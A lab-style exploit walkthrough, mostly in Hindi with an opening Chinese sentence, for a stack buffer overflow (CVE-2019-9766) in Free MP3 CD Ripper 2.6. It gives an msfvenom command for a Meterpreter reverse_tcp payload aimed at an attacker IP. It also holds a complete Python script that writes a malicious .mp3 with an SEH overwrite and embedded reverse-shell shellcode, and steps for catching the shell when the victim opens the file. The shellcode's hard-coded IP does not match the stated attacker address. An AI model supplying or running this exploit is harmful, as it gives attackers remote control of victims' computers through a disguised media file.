
Free MP3 CD Ripper 2.6 版本中存在栈缓冲区溢出漏洞 (CVE-2019-9766),远程攻击者可借助特制的 .mp3 文件利用该漏洞执行任意代码。
Free MP3 CD Ripper 2.6 में मौजूद बफर ओवरफ्लो कमजोरी का उपयोग करके एक विशेष MP3 फ़ाइल बनाई जाती है। जब हमलावर इस फ़ाइल को प्लेयर से चलाता है, तो ऑडियो फ़ाइल का उपयोग बफर ओवरफ्लो के माध्यम से मनमाना कोड निष्पादित करने के लिए किया जाता है।
हमलावर मशीन: kali201903 (192.168.198.142)
पीड़ित मशीन: windows10 21H1 (192.168.198.137)
पीड़ित मशीन पर Free MP3 CD Ripper 2.6 स्थापित करें। kali मशीन पर MSF का उपयोग करके रिवर्स कनेक्शन शेलकोड बनाएँ:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.198.142 lport=888 -f c --smallest

ऊपर बनाए गए payload को नीचे दिए गए कोड में payload से बदलें
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6
buffer = "A" * 4116
NSEH = "\xeb\x06\x90\x90"
SEH = "\x84\x20\xe4\x66"
nops = "\x90" * 5
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6e\x84"
buf += "\x68\x02\x00\x03\x78\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";
pad = "B" * (316 - len(nops) - len(buf))
payload = buffer + NSEH + SEH + nops + buf + pad
try:
f = open("Test_Free_MP3.mp3","w")
print "[+]Creating %s bytes mp3 Files..."%len(payload)
f.write(payload)
f.close()
print "[+]mp3 File created successfully!"
except:
print "File cannot be created!"
स्क्रिप्ट चलाएँ और एक .mp3 फ़ाइल बनाएँ:

इस mp3 फ़ाइल को पीड़ित मशीन पर ले जाएँ। अब kali मशीन पर MSF कंसोल शुरू करें और पैरामीटर सेट करें, जैसा नीचे दिखाया गया है:

सेट करने के बाद सुनना शुरू करें। पीड़ित मशीन पर सॉफ़्टवेयर से mp3 फ़ाइल खोलें, रिवर्स शेल सफल हुआ:

नोट: केवल Kali2019 संस्करण ही काम करता है, Kali 2020 और उसके बाद के संस्करण विफल होते हैं (MSF संस्करण से संबंधित)। इसके अलावा, windows10 पर ही काम करता है, windows7 पर सत्यापन विफल हुआ (दोनों 64-बिट)